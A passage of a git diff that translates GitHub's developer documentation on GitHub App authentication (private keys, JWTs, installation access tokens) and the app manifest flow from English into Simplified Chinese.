+| <kbd>Ctrl</kbd><kbd>Shift</kbd><kbd>C</kbd> | 比较 {% data variables.product.prodname_dotcom %} 上的分支     |
+| <kbd>Ctrl</kbd><kbd>R</kbd>                 | 在 {% data variables.product.prodname_dotcom %} 上显示当前拉取请求 |
 
 {% endwindows %}
diff --git a/translations/zh-CN/content/developers/apps/building-github-apps/authenticating-with-github-apps.md b/translations/zh-CN/content/developers/apps/building-github-apps/authenticating-with-github-apps.md
index c876fc183c..16e6e31492 100644
--- a/translations/zh-CN/content/developers/apps/building-github-apps/authenticating-with-github-apps.md
+++ b/translations/zh-CN/content/developers/apps/building-github-apps/authenticating-with-github-apps.md
@@ -1,5 +1,5 @@
 ---
-title: Authenticating with GitHub Apps
+title: 使用 GitHub 应用程序进行身份验证
 intro: '{% data reusables.shortdesc.authenticating_with_github_apps %}'
 redirect_from:
   - /apps/building-integrations/setting-up-and-registering-github-apps/about-authentication-options-for-github-apps
@@ -13,61 +13,59 @@ versions:
   ghec: '*'
 topics:
   - GitHub Apps
-shortTitle: Authentication
+shortTitle: 身份验证
 ---
 
 
-## Generating a private key
+## 生成私钥
 
-After you create a GitHub App, you'll need to generate one or more private keys. You'll use the private key to sign access token requests.
+创建 GitHub 应用程序 后，您需要生成一个或多个私钥。 私钥可用于签署访问令牌请求。
 
-You can create multiple private keys and rotate them to prevent downtime if a key is compromised or lost. To verify that a private key matches a public key, see [Verifying private keys](#verifying-private-keys).
+您可以创建多个私钥，然后轮流使用，以防某个私钥被盗或丢失造成停工。 要验证私钥是否与公钥匹配，请参阅[验证私钥](#verifying-private-keys)。
 
-To generate a private key:
+要生成私钥：
 
 {% data reusables.user-settings.access_settings %}
 {% data reusables.user-settings.developer_settings %}
 {% data reusables.user-settings.github_apps %}
 {% data reusables.user-settings.modify_github_app %}
-5. In "Private keys", click **Generate a private key**.
-![Generate private key](/assets/images/github-apps/github_apps_generate_private_keys.png)
-6. You will see a private key in PEM format downloaded to your computer. Make sure to store this file because GitHub only stores the public portion of the key.
+5. 在“Private keys（私钥）”中，单击 **Generate a private key（生成私钥）**。 ![生成私钥](/assets/images/github-apps/github_apps_generate_private_keys.png)
+6. 您将看到一个以 PEM 格式下载至您的计算机的私钥。 确保将此文件存储下来，因为 GitHub 仅存储密钥的公共部分。
 
 {% note %}
 
-**Note:** If you're using a library that requires a specific file format, the PEM file you download will be in `PKCS#1 RSAPrivateKey` format.
+**注：**如果您使用的库需要特定文件格式，您下载的 PEM 文件将呈现为 `PKCS#1 RSAPrivateKey` 格式。
 
 {% endnote %}
 
-## Verifying private keys
-{% data variables.product.product_name %} generates a fingerprint for each private and public key pair using the SHA-256 hash function. You can verify that your private key matches the public key stored on {% data variables.product.product_name %} by generating the fingerprint of your private key and comparing it to the fingerprint shown on {% data variables.product.product_name %}.
+## 验证私钥
+{% data variables.product.product_name %} generates a fingerprint for each private and public key pair using the SHA-256 hash function. 您可以生成私钥指纹，然后与 {% data variables.product.product_name %} 显示的指纹相比较，以验证私钥是否与 {% data variables.product.product_name %} 上存储的公钥匹配。
 
-To verify a private key:
+要验证私钥：
 
-1. Find the fingerprint for the private and public key pair you want to verify in the "Private keys" section of your {% data variables.product.prodname_github_app %}'s developer settings page. For more information, see [Generating a private key](#generating-a-private-key).
-![Private key fingerprint](/assets/images/github-apps/github_apps_private_key_fingerprint.png)
-2. Generate the fingerprint of your private key (PEM) locally by using the following command:
+1. 在 {% data variables.product.prodname_github_app %} 开发者设置页面的“私钥”部分，查找要验证的私钥和公钥对的指纹。 更多信息请参阅[生成私钥](#generating-a-private-key)。 ![私钥指纹](/assets/images/github-apps/github_apps_private_key_fingerprint.png)
+2. 使用以下命令在本地生成私钥指纹 (PEM)：
     ```shell
     $ openssl rsa -in <em>PATH_TO_PEM_FILE</em> -pubout -outform DER | openssl sha256 -binary | openssl base64
     ```
-3. Compare the results of the locally generated fingerprint to the fingerprint you see in {% data variables.product.product_name %}.
+3. 比较本地生成的指纹结果与 {% data variables.product.product_name %} 中显示的指纹。
 
-## Deleting private keys
-You can remove a lost or compromised private key by deleting it, but you must have at least one private key. When you only have one key, you will need to generate a new one before deleting the old one.
-![Deleting last private key](/assets/images/github-apps/github_apps_delete_key.png)
+## 删除私钥
+您可以通过删除功能删除丢失或被盗的私钥，但至少必须有一个私钥。 如果只有一个密钥，需要生成一个新钥，然后才能删除旧钥。 ![删除最后一个私钥](/assets/images/github-apps/github_apps_delete_key.png)
 
-## Authenticating as a {% data variables.product.prodname_github_app %}
+## 验证为 {% data variables.product.prodname_github_app %}
 
-Authenticating as a {% data variables.product.prodname_github_app %} lets you do a couple of things:
+通过验证为 {% data variables.product.prodname_github_app %}，您可以执行以下操作：
 
-* You can retrieve high-level management information about your {% data variables.product.prodname_github_app %}.
-* You can request access tokens for an installation of the app.
+* 检索关于您的 {% data variables.product.prodname_github_app %} 的高级管理信息。
+* 为应用程序安装申请访问令牌。
 
-To authenticate as a {% data variables.product.prodname_github_app %}, [generate a private key](#generating-a-private-key) in PEM format and download it to your local machine. You'll use this key to sign a [JSON Web Token (JWT)](https://jwt.io/introduction) and encode it using the `RS256` algorithm. {% data variables.product.product_name %} checks that the request is authenticated by verifying the token with the app's stored public key.
+要验证为 {% data variables.product.prodname_github_app %}，请以 PEM 格式[生成私钥](#generating-a-private-key)，并将其下载到本地机器上。 您可以使用此密钥签署 [JSON Web 令牌 (JWT)](https://jwt.io/introduction)，然后用 `RS256` 算法为它编码。 {% data variables.product.product_name %} 将使用应用程序存储的公钥验证令牌，以检查请求是否已通过身份验证。
 
-Here's a quick Ruby script you can use to generate a JWT. Note you'll have to run `gem install jwt` before using it.
+下面是一段快速 Ruby 脚本，可用于生成 JWT。 请注意，您必须先运行 `gem install jwt`，然后才能使用。
 
 <a name="jwt-payload"></a>
+
 ```ruby
 require 'openssl'
 require 'jwt'  # https://rubygems.org/gems/jwt
@@ -90,19 +88,19 @@ jwt = JWT.encode(payload, private_key, "RS256")
 puts jwt
 ```
 
-`YOUR_PATH_TO_PEM` and `YOUR_APP_ID` are the values you must replace. Make sure to enclose the values in double quotes.
+`YOUR_PATH_TO_PEM` 和 `YOUR_APP_ID` 是必须替换的值。 请确保以双引号括住值。
 
-Use your {% data variables.product.prodname_github_app %}'s identifier (`YOUR_APP_ID`) as the value for the JWT [iss](https://tools.ietf.org/html/rfc7519#section-4.1.1) (issuer) claim. You can obtain the {% data variables.product.prodname_github_app %} identifier via the initial webhook ping after [creating the app](/apps/building-github-apps/creating-a-github-app/), or at any time from the app settings page in the GitHub.com UI.
+使用 {% data variables.product.prodname_github_app %} 的标识符 (`YOUR_APP_ID`) 作为 JWT [iss](https://tools.ietf.org/html/rfc7519#section-4.1.1)（签发者）申请的值。 您可以在[创建应用程序](/apps/building-github-apps/creating-a-github-app/)后通过初始 web 挂钩，或随时从 GitHub.com UI 的应用程序设置页面获取 {% data variables.product.prodname_github_app %} 标识符。
 
-After creating the JWT, set it in the `Header` of the API request:
+创建 JWT 后，在 API 请求的 `Header` 中对它进行设置。
 
 ```shell
 $ curl -i -H "Authorization: Bearer YOUR_JWT" -H "Accept: application/vnd.github.v3+json" {% data variables.product.api_url_pre %}/app
 ```
 
-`YOUR_JWT` is the value you must replace.
+`YOUR_JWT` 是必须替换的值。
 
-The example above uses the maximum expiration time of 10 minutes, after which the API will start returning a `401` error:
+上述示例所用的最大到期时间为 10 分钟，到期后，API 将开始返回 `401` 错误。
 
 ```json
 {
@@ -111,19 +109,19 @@ The example above uses the maximum expiration time of 10 minutes, after which th
 }
 ```
 
-You'll need to create a new JWT after the time expires.
+到期后，您需要创建新 JWT。
 
-## Accessing API endpoints as a {% data variables.product.prodname_github_app %}
+## 作为 {% data variables.product.prodname_github_app %} 访问 API 端点
 
-For a list of REST API endpoints you can use to get high-level information about a {% data variables.product.prodname_github_app %}, see "[GitHub Apps](/rest/reference/apps)."
+有关获取关于 {% data variables.product.prodname_github_app %} 的高级信息所用的 REST API 端点列表，请参阅“[GitHub 应用程序](/rest/reference/apps)。”
 
-## Authenticating as an installation
+## 验证为安装
 
-Authenticating as an installation lets you perform actions in the API for that installation. Before authenticating as an installation, you must create an installation access token. Ensure that you have already installed your GitHub App to at least one repository; it is impossible to create an installation token without a single installation. These installation access tokens are used by {% data variables.product.prodname_github_apps %} to authenticate. For more information, see "[Installing GitHub Apps](/developers/apps/managing-github-apps/installing-github-apps)."
+通过验证为安装，您可以在 API 中为此安装执行操作。 验证为安装之前，必须创建安装访问令牌。 确保您已将 GitHub 应用安装到至少一个仓库；如果没有单个安装，就无法创建安装令牌。 这些安装访问令牌由 {% data variables.product.prodname_github_apps %} 用于进行身份验证。 更多信息请参阅“[安装 GitHub 应用程序](/developers/apps/managing-github-apps/installing-github-apps)”。
 
-By default, installation access tokens are scoped to all the repositories that an installation can access. You can limit the scope of the installation access token to specific repositories by using the `repository_ids` parameter. See the [Create an installation access token for an app](/rest/reference/apps#create-an-installation-access-token-for-an-app) endpoint for more details. Installation access tokens have the permissions configured by the {% data variables.product.prodname_github_app %} and expire after one hour.
+默认情况下，安装访问令牌的作用域为安装可访问的所有仓库。 您可以使用 `repository_ids` 参数将安装访问令牌的作用域限定于特定仓库。 请参阅[创建应用程序的安装访问令牌](/rest/reference/apps#create-an-installation-access-token-for-an-app)端点了解更多详细信息。 安装访问令牌具有由 {% data variables.product.prodname_github_app %} 配置的权限，一个小时后到期。
 
-To list the installations for an authenticated app, include the JWT [generated above](#jwt-payload) in the Authorization header in the API request:
+要列出已验证应用的安装，请在 API 请求中的授权头中包括[上述生成](#jwt-payload)的 JWT：
 
 ```shell
 $ curl -i -X GET \
@@ -132,9 +130,9 @@ $ curl -i -X GET \
 {% data variables.product.api_url_pre %}/app/installations
 ```
 
-The response will include a list of installations where each installation's `id` can be used for creating an installation access token. For more information about the response format, see "[List installations for the authenticated app](/rest/reference/apps#list-installations-for-the-authenticated-app)."
+响应将包括一个安装列表，其中每个安装的 `id` 可用来创建一个安装访问令牌。 有关响应格式的更多信息，请参阅“[列出已验证应用的安装](/rest/reference/apps#list-installations-for-the-authenticated-app)”。
 
-To create an installation access token, include the JWT [generated above](#jwt-payload) in the Authorization header in the API request and replace `:installation_id` with the installation's `id`:
+要创建安装访问令牌，请在 API 请求的授权头中包括[上述生成](#jwt-payload)的 JWT，并将 `:installation_id` 替换为安装的 `id`：
 
 ```shell
 $ curl -i -X POST \
@@ -143,9 +141,9 @@ $ curl -i -X POST \
 {% data variables.product.api_url_pre %}/app/installations/:installation_id/access_tokens
 ```
 
-The response will include your installation access token, the expiration date, the token's permissions, and the repositories that the token can access. For more information about the response format, see the [Create an installation access token for an app](/rest/reference/apps#create-an-installation-access-token-for-an-app) endpoint.
+响应将包括您的安装访问令牌、到期日期、令牌权限及令牌可访问的仓库。 有关响应格式的更多信息，请参阅[创建应用程序的安装访问令牌](/rest/reference/apps#create-an-installation-access-token-for-an-app)端点。
 
-To authenticate with an installation access token, include it in the Authorization header in the API request:
+要使用安装访问令牌进行身份验证，请将其加入 API 请求的“授权”标头中。
 
 ```shell
 $ curl -i \
@@ -154,17 +152,17 @@ $ curl -i \
 {% data variables.product.api_url_pre %}/installation/repositories
 ```
 
-`YOUR_INSTALLATION_ACCESS_TOKEN` is the value you must replace.
+`YOUR_INSTALLATION_ACCESS_TOKEN` 是必须替换的值。
 
-## Accessing API endpoints as an installation
+## 作为安装访问 API 端点
 
-For a list of REST API endpoints that are available for use by {% data variables.product.prodname_github_apps %} using an installation access token, see "[Available Endpoints](/rest/overview/endpoints-available-for-github-apps)."
+有关适用于使用安装访问令牌的 {% data variables.product.prodname_github_apps %} 的 REST API 端点列表，请参阅“[可用端点](/rest/overview/endpoints-available-for-github-apps)。”
 
-For a list of endpoints related to installations, see "[Installations](/rest/reference/apps#installations)."
+有关与安装相关的端点的列表，请参阅“[安装](/rest/reference/apps#installations)。”
 
-## HTTP-based Git access by an installation
+## 由安装验证基于 HTTP 的 Git 访问权限
 
-Installations with [permissions](/apps/building-github-apps/setting-permissions-for-github-apps/) on `contents` of a repository, can use their installation access tokens to authenticate for Git access. Use the installation access token as the HTTP password:
+在仓库的 `contents` 上拥有[权限](/apps/building-github-apps/setting-permissions-for-github-apps/)的安装可以使用其安装访问令牌对 Git 访问权限进行身份验证。 使用安装访问令牌作为 HTTP 密码：
 
 ```shell
 git clone https://x-access-token:&lt;token&gt;@github.com/owner/repo.git
diff --git a/translations/zh-CN/content/developers/apps/building-github-apps/creating-a-github-app-from-a-manifest.md b/translations/zh-CN/content/developers/apps/building-github-apps/creating-a-github-app-from-a-manifest.md
index e561cf3c93..712b70e15f 100644
--- a/translations/zh-CN/content/developers/apps/building-github-apps/creating-a-github-app-from-a-manifest.md
+++ b/translations/zh-CN/content/developers/apps/building-github-apps/creating-a-github-app-from-a-manifest.md
@@ -1,6 +1,6 @@
 ---
-title: Creating a GitHub App from a manifest
-intro: 'A GitHub App Manifest is a preconfigured GitHub App you can share with anyone who wants to use your app in their personal repositories. The manifest flow allows someone to quickly create, install, and start extending a GitHub App without needing to register the app or connect the registration to the hosted app code.'
+title: 从清单创建 GitHub 应用程序
+intro: GitHub 应用程序清单是预先配置的 GitHub 应用程序，您可以与希望在其个人仓库中使用您的应用程序的任何用户分享它。 清单流程允许用户快速创建、安装和开始扩展 GitHub 应用程序，而无需注册应用程序或将注册连接到托管应用代码。
 redirect_from:
   - /apps/building-github-apps/creating-github-apps-from-a-manifest
   - /developers/apps/creating-a-github-app-from-a-manifest
@@ -11,79 +11,80 @@ versions:
   ghec: '*'
 topics:
   - GitHub Apps
-shortTitle: App creation manifest flow
+shortTitle: 应用程序创建清单流程
 ---
-## About GitHub App Manifests
 
-When someone creates a GitHub App from a manifest, they only need to follow a URL and name the app. The manifest includes the permissions, events, and webhook URL needed to automatically register the app. The manifest flow creates the GitHub App registration and retrieves the app's webhook secret, private key (PEM file), and GitHub App ID. The person who creates the app from the manifest will own the app and can choose to [edit the app's configuration settings](/apps/managing-github-apps/modifying-a-github-app/), delete it, or transfer it to another person on GitHub.
+## 关于 GitHub 应用程序清单
 
-You can use [Probot](https://probot.github.io/) to get started with GitHub App Manifests or see an example implementation. See "[Using Probot to implement the GitHub App Manifest flow](#using-probot-to-implement-the-github-app-manifest-flow)" to learn more.
+当有人从清单创建 GitHub 应用程序时，他们只需遵循 URL 并命名应用程序即可。 清单包括自动注册应用程序所需的权限、事件和 web 挂钩 URL。 清单流程创建 GitHub 应用程序注册并检索应用程序的 web 挂钩密钥、私钥 （PEM 文件） 和 GitHub 应用程序 ID。 从清单创建应用程序的人将拥有该应用程序，并且可以选择[编辑应用程序的配置设置](/apps/managing-github-apps/modifying-a-github-app/)、删除它或将其转让给 GitHub 上的其他人。
 
-Here are some scenarios where you might use GitHub App Manifests to create preconfigured apps:
+您可以使用 [Probot](https://probot.github.io/) 开始使用 GitHub 应用程序清单或查看示例实现。 更多信息请参阅“[使用 Probot 实现 GitHub 应用程序清单流程](#using-probot-to-implement-the-github-app-manifest-flow)”。
 
-* Help new team members come up-to-speed quickly when developing GitHub Apps.
-* Allow others to extend a GitHub App using the GitHub APIs without requiring them to configure an app.
-* Create GitHub App reference designs to share with the GitHub community.
-* Ensure you deploy GitHub Apps to development and production environments using the same configuration.
-* Track revisions to a GitHub App configuration.
+以下是您可以使用 GitHub 应用程序清单来创建预配置应用程序的一些场景：
 
-## Implementing the GitHub App Manifest flow
+* 开发 GitHub 应用程序时，帮助新的团队成员快速上手。
+* 允许其他人使用 GitHub API 扩展 GitHub 应用程序，而无需他们配置应用程序。
+* 创建 GitHub 应用程序参考设计，与 GitHub 社区分享。
+* 确保使用相同的配置将 GitHub 应用程序部署到开发和生产环境。
+* 跟踪对 GitHub 应用程序配置的修订。
 
-The GitHub App Manifest flow uses a handshaking process similar to the [OAuth flow](/apps/building-oauth-apps/authorizing-oauth-apps/). The flow uses a manifest to [register a GitHub App](/apps/building-github-apps/creating-a-github-app/) and receives a temporary `code` used to retrieve the app's private key, webhook secret, and ID.
+## 实现 GitHub 应用程序清单流程
+
+GitHub 应用程序清单使用类似于 [OAuth 流程](/apps/building-oauth-apps/authorizing-oauth-apps/)的握手过程。 该流程使用清单[注册 GitHub 应用程序](/apps/building-github-apps/creating-a-github-app/)，并接收用于检索应用程序私钥、web 挂钩密钥和 ID 的临时 `code`。
 
 {% note %}
 
-**Note:** You must complete all three steps in the GitHub App Manifest flow within one hour.
+**注：**您必须在一小时内完成 GitHub 应用程序清单流程中的所有三个步骤。
 
 {% endnote %}
 
-Follow these steps to implement the GitHub App Manifest flow:
+按照以下步骤实现 GitHub 应用程序清单流程：
 
-1. You redirect people to GitHub to create a new GitHub App.
-1. GitHub redirects people back to your site.
-1. You exchange the temporary code to retrieve the app configuration.
+1. 将人员重定向到 GitHub 以创建新的 GitHub 应用程序。
+1. GitHub 将人员重定向回您的站点。
+1. 交换临时代码以检索应用程序配置。
 
-### 1. You redirect people to GitHub to create a new GitHub App
+### 1. 将人员重定向到 GitHub 以创建新的 GitHub 应用程序。
 
-To redirect people to create a new GitHub App, [provide a link](#examples) for them to click that sends a `POST` request to `https://github.com/settings/apps/new` for a user account or `https://github.com/organizations/ORGANIZATION/settings/apps/new` for an organization account, replacing `ORGANIZATION` with the name of the organization account where the app will be created.
+要重定向人员以创建新的 GitHub 应用程序，请[提供一个链接](#examples)，供他们单击以将 `POST` 请求发送到用户帐户的 `https://github.com/settings/apps/new` 或组织帐户的 `https://github.com/organizations/ORGANIZATION/settings/apps/new`，其中的 `ORGANIZATION` 替换为要在其中创建应用程序的组织帐户的名称。
 
-You must include the [GitHub App Manifest parameters](#github-app-manifest-parameters) as a JSON-encoded string in a parameter called `manifest`. You can also include a `state` [parameter](#parameters) for additional security.
+必须将 [GitHub 应用程序清单参数](#github-app-manifest-parameters)作为 JSON 编码的字符串包含在名为 `manifest` 的参数中。 还可以包括 `state` [参数](#parameters) 以增加安全性。
 
-The person creating the app will be redirected to a GitHub page with an input field where they can edit the name of the app you included in the `manifest` parameter. If you do not include a `name` in the `manifest`, they can set their own name for the app in this field.
+创建应用程序的人将被重定向到含有输入字段的 GitHub 页面，他们可以在其中编辑您包含在 `manifest` 参数中的应用程序名称。 如果您在 `manifest` 中没有包含 `name`，他们可以在此字段中为应用程序设置自己的名称。
 
-![Create a GitHub App Manifest](/assets/images/github-apps/create-github-app-manifest.png)
+![创建 GitHub 应用程序清单](/assets/images/github-apps/create-github-app-manifest.png)
 
-#### GitHub App Manifest parameters
+#### GitHub 应用程序清单参数
 
- Name | Type | Description
------|------|-------------
-`name` | `string` | The name of the GitHub App.
-`url` | `string` | **Required.** The homepage of your GitHub App.
-`hook_attributes` | `object` | The configuration of the GitHub App's webhook.
-`redirect_url` | `string` | The full URL to redirect to after a user initiates the creation of a GitHub App from a manifest.{% ifversion fpt or ghae or ghes > 3.0 or ghec %}
-`callback_urls` | `array of strings` | A full URL to redirect to after someone authorizes an installation. You can provide up to 10 callback URLs.{% else %}
-`callback_url` | `string` |  A full URL to redirect to after someone authorizes an installation.{% endif %}
-`description` | `string` | A description of the GitHub App.
-`public` | `boolean` | Set to `true` when your GitHub App is available to the public or `false` when it is only accessible to the owner of the app.
-`default_events` | `array` | The list of [events](/webhooks/event-payloads) the GitHub App subscribes to.
-`default_permissions` | `object` | The set of [permissions](/rest/reference/permissions-required-for-github-apps) needed by the GitHub App. The format of the object uses the permission name for the key (for example, `issues`) and the access type for the value (for example, `write`).
+ | 名称                    | 类型      | 描述                                                                                                                        |
+ | --------------------- | ------- | ------------------------------------------------------------------------------------------------------------------------- |
+ | `name`                | `字符串`   | GitHub 应用程序的名称。                                                                                                           |
+ | `url`                 | `字符串`   | **必填。**GitHub 应用程序的主页。                                                                                                    |
+ | `hook_attributes`     | `对象`    | GitHub 应用程序 web 挂钩的配置                                                                                                     |
+ | `redirect_url`        | `字符串`   | 在用户从清单创建 GitHub 应用程序后重定向到的完整 URL。{% ifversion fpt or ghae or ghes > 3.0 or ghec %}
+ | `callback_urls`       | `字符串数组` | 在用户授权安装后重定向到的完整 URL。 您可以提供最多 10 个回叫 URL。{% else %}
+ | `callback_url`        | `字符串`   | 在用户授权安装后重定向到的完整 URL。{% endif %}
+ | `说明`                  | `字符串`   | GitHub 应用程序的说明。                                                                                                           |
+ | `public`              | `布尔值`   | 当 GitHub 应用程序可供公众使用时，设置为 `true` ；当它仅供应用程序的所有者访问时，设置为 `false`。                                                             |
+ | `default_events`      | `数组`    | GitHub 应用程序订阅的[事件](/webhooks/event-payloads)列表。                                                                           |
+ | `default_permissions` | `对象`    | GitHub 应用程序所需的[权限](/rest/reference/permissions-required-for-github-apps)集。 对象的格式使用键的权限名称（例如 `issues`）和值的访问类型（例如 `write`）。 |
 
-The `hook_attributes` object has the following key:
+`hook_attributes` 对象含有以下键：
 
-Name | Type | Description
------|------|-------------
-`url` | `string` | **Required.** The URL of the server that will receive the webhook `POST` requests.
-`active` | `boolean` | Deliver event details when this hook is triggered, defaults to true.
+| 名称       | 类型    | 描述                                    |
+| -------- | ----- | ------------------------------------- |
+| `url`    | `字符串` | **必填。**将接收 web 挂钩 `POST` 请求的服务器的 URL。 |
+| `active` | `布尔值` | 当此挂钩被触发时提供事件详细信息，默认值为 true。           |
 
-#### Parameters
+#### 参数
 
- Name | Type | Description
------|------|-------------
-`state`| `string` | {% data reusables.apps.state_description %}
+ | 名称      | 类型    | 描述                                          |
+ | ------- | ----- | ------------------------------------------- |
+ | `state` | `字符串` | {% data reusables.apps.state_description %}
 
-#### Examples
+#### 示例
 
-This example uses a form on a web page with a button that triggers the `POST` request for a user account:
+此示例使用网页上的表单，其中包含一个按钮，该按钮可触发用户帐户的 `POST` 请求：
 
 ```html
 <form action="https://github.com/settings/apps/new?state=abc123" method="post">
@@ -118,7 +119,7 @@ This example uses a form on a web page with a button that triggers the `POST` re
 </script>
 ```
 
-This example uses a form on a web page with a button that triggers the `POST` request for an organization account. Replace `ORGANIZATION` with the name of the organization account where you want to create the app.
+此示例使用网页上的表单，其中包含一个按钮，该按钮可触发组织帐户的 `POST` 请求： 将 `ORGANIZATION` 替换为要在其中创建应用程序的组织帐户的名称。
 
 ```html
 <form action="https://github.com/organizations/ORGANIZATION/settings/apps/new?state=abc123" method="post">
@@ -153,49 +154,49 @@ This example uses a form on a web page with a button that triggers the `POST` re
 </script>
 ```
 
-### 2. GitHub redirects people back to your site
+### 2. GitHub 将人员重定向回您的站点
 
-When the person clicks **Create GitHub App**, GitHub redirects back to the `redirect_url` with a temporary `code` in a code parameter. For example:
+当用户单击**创建 GitHub 应用程序**时，GitHub 将使用代码参数中的临时 `code` 重定向回 `redirect_url` 。 例如：
 
     https://example.com/redirect?code=a180b1a3d263c81bc6441d7b990bae27d4c10679
 
-If you provided a `state` parameter, you will also see that parameter in the `redirect_url`. For example:
+如果您提供了 `state` 参数，您还会在 `redirect_url` 中看到该参数。 例如：
 
     https://example.com/redirect?code=a180b1a3d263c81bc6441d7b990bae27d4c10679&state=abc123
 
-### 3. You exchange the temporary code to retrieve the app configuration
+### 3. 交换临时代码以检索应用程序配置
 
-To complete the handshake, send the temporary `code` in a `POST` request to the [Create a GitHub App from a manifest](/rest/reference/apps#create-a-github-app-from-a-manifest) endpoint. The response will include the `id` (GitHub App ID), `pem` (private key), and `webhook_secret`. GitHub creates a webhook secret for the app automatically. You can store these values in environment variables on the app's server. For example, if your app uses [dotenv](https://github.com/bkeepers/dotenv) to store environment variables, you would store the variables in your app's `.env` file.
+要完成握手，请在 `POST` 请求中将临时 `code` 发送到[从清单创建 GitHub 应用程序](/rest/reference/apps#create-a-github-app-from-a-manifest)端点。 响应将包括 `id`（GitHub 应用程序 ID）、`pem`（私钥）和 `webhook_secret`。 GitHub 会自动为应用程序创建一个 web 挂钩密钥。 您可以将这些值存储在应用程序服务器上的环境变量中。 例如，如果您的应用程序使用 [dotenv](https://github.com/bkeepers/dotenv) 来存储环境变量，则您将把变量存储在应用程序的 `.env` 文件中。
 
-You must complete this step of the GitHub App Manifest flow within one hour.
+您必须在一小时内完成 GitHub 应用程序清单流程中的此步骤。
 
 {% note %}
 
-**Note:** This endpoint is rate limited. See [Rate limits](/rest/reference/rate-limit) to learn how to get your current rate limit status.
+**注：**此端点受速率限制。 请参阅[速率限制](/rest/reference/rate-limit)，了解如何获取当前速率限制状态。
 
 {% endnote %}
 
     POST /app-manifests/{code}/conversions
 
-For more information about the endpoint's response, see [Create a GitHub App from a manifest](/rest/reference/apps#create-a-github-app-from-a-manifest).
+有关端点响应的更多信息，请参阅[从清单创建 GitHub 应用程序](/rest/reference/apps#create-a-github-app-from-a-manifest)。
 
-When the final step in the manifest flow is completed, the person creating the app from the flow will be an owner of a registered GitHub App that they can install on any of their personal repositories. They can choose to extend the app using the GitHub APIs, transfer ownership to someone else, or delete it at any time.
+清单流程的最后一步完成后，从流程创建应用程序的人将是注册 GitHub 应用程序的所有者，他们可以将其安装到他们的任何个人仓库中。 他们可以选择使用 GitHub API 扩展应用程序、将所有权转让给其他人或者随时删除它。
 
-## Using Probot to implement the GitHub App Manifest flow
+## 使用 Probot 实现 GitHub 应用程序清单流程
 
-[Probot](https://probot.github.io/) is a framework built with [Node.js](https://nodejs.org/) that performs many of the tasks needed by all GitHub Apps, like validating webhooks and performing authentication. Probot implements the [GitHub App manifest flow](#implementing-the-github-app-manifest-flow), making it easy to create and share GitHub App reference designs with the GitHub community.
+[Probot](https://probot.github.io/) 是一个使用 [Node.js](https://nodejs.org/) 构建的框架，可执行所有 GitHub 应用程序所需的许多任务，例如验证 web 挂钩和执行身份验证。 Probot 实现 [GitHub 应用程序清单流程](#implementing-the-github-app-manifest-flow)，便于创建 GitHub 应用程序参考设计并与 GitHub 社区分享。
 
-To create a Probot App that you can share, follow these steps:
+要创建可以分享的 Probot 应用程序，请遵循以下步骤：
 
-1. [Generate a new GitHub App](https://probot.github.io/docs/development/#generating-a-new-app).
-1. Open the project you created, and customize the settings in the `app.yml` file. Probot uses the settings in `app.yml` as the [GitHub App Manifest parameters](#github-app-manifest-parameters).
-1. Add your application's custom code.
-1. [Run the GitHub App locally](https://probot.github.io/docs/development/#running-the-app-locally) or [host it anywhere you'd like](#hosting-your-app-with-glitch). When you navigate to the hosted app's URL, you'll find a web page with a **Register GitHub App** button that people can click to create a preconfigured app. The web page below is Probot's implementation of [step 1](#1-you-redirect-people-to-github-to-create-a-new-github-app) in the GitHub App Manifest flow:
+1. [生成新的 GitHub 应用程序](https://probot.github.io/docs/development/#generating-a-new-app)。
+1. 打开您创建的项目，自定义 `app.yml` 文件中的设置。 Probot 使用 `app.yml` 中的设置作为 [GitHub 应用程序清单参数](#github-app-manifest-parameters)。
+1. 添加应用程序的自定义代码。
+1. [在本地运行 GitHub 应用程序](https://probot.github.io/docs/development/#running-the-app-locally)或[将其托管在您想要的任何位置](#hosting-your-app-with-glitch)。 导航到托管应用程序的 URL 时，您会发现一个包含**注册 GitHub 应用程序**按钮的网页，用户可以单击该按钮创建预配置的应用程序。 以下网页是 Probot 实现 GitHub 应用程序清单流程中的[第 1 步](#1-you-redirect-people-to-github-to-create-a-new-github-app)：
 
-![Register a Probot GitHub App](/assets/images/github-apps/github_apps_probot-registration.png)
+![注册 Probot GitHub 应用程序](/assets/images/github-apps/github_apps_probot-registration.png)
 
-Using [dotenv](https://github.com/bkeepers/dotenv), Probot creates a `.env` file and sets the `APP_ID`, `PRIVATE_KEY`, and `WEBHOOK_SECRET` environment variables with the values [retrieved from the app configuration](#3-you-exchange-the-temporary-code-to-retrieve-the-app-configuration).
+Probot 使用 [dotenv](https://github.com/bkeepers/dotenv) 创建 `.env` 文件，并设置 `APP_ID`、`PRIVATE_KEY` 和 `WEBHOOK_SECRET` 环境变量，变量值[从应用程序配置中检索](#3-you-exchange-the-temporary-code-to-retrieve-the-app-configuration)。
 
-### Hosting your app with Glitch
+### 使用 Glitch 托管应用程序
 
-You can see an [example Probot app](https://glitch.com/~auspicious-aardwolf) that uses [Glitch](https://glitch.com/) to host and share the app. The example uses the [Checks API](/rest/reference/checks) and selects the necessary Checks API events and permissions in the `app.yml` file. Glitch is a tool that allows you to "Remix your own" apps. Remixing an app creates a copy of the app that Glitch hosts and deploys. See "[About Glitch](https://glitch.com/about/)" to learn about remixing Glitch apps.
+您可以看到一个使用 [Glitch](https://glitch.com/) 托管和分享应用程序的[示例 Probot 应用程序](https://glitch.com/~auspicious-aardwolf)。 该示例使用[检查 API](/rest/reference/checks)，并在 `app.yml` 文件中选择必要的检查 API 事件和权限。 Glitch 是一个允许您“重新组合自己的”应用程序的工具。 重新组合应用程序将创建一个 Glitch 托管和部署的应用程序副本。 请参阅“[关于 Glitch](https://glitch.com/about/)”了解如何重新组合 Glitch 应用程序。
diff --git a/translations/zh-CN/content/developers/apps/building-github-apps/creating-a-github-app-using-url-parameters.md b/translations/zh-CN/content/developers/apps/building-github-apps/creating-a-github-app-using-url-parameters.md
index 4c41f66d9e..27e2822897 100644
--- a/translations/zh-CN/content/developers/apps/building-github-apps/creating-a-github-app-using-url-parameters.md
+++ b/translations/zh-CN/content/developers/apps/building-github-apps/creating-a-github-app-using-url-parameters.md
@@ -1,6 +1,6 @@
 ---
-title: Creating a GitHub App using URL parameters
-intro: 'You can preselect the settings of a new {% data variables.product.prodname_github_app %} using URL [query parameters](https://en.wikipedia.org/wiki/Query_string) to quickly set up the new {% data variables.product.prodname_github_app %}''s configuration.'
+title: 使用 URL 参数创建 GitHub 应用程序
+intro: '您可以使用 URL [查询参数](https://en.wikipedia.org/wiki/Query_string) 预选新 {% data variables.product.prodname_github_app %} 的设置，以快速设置新 {% data variables.product.prodname_github_app %} 的配置。'
 redirect_from:
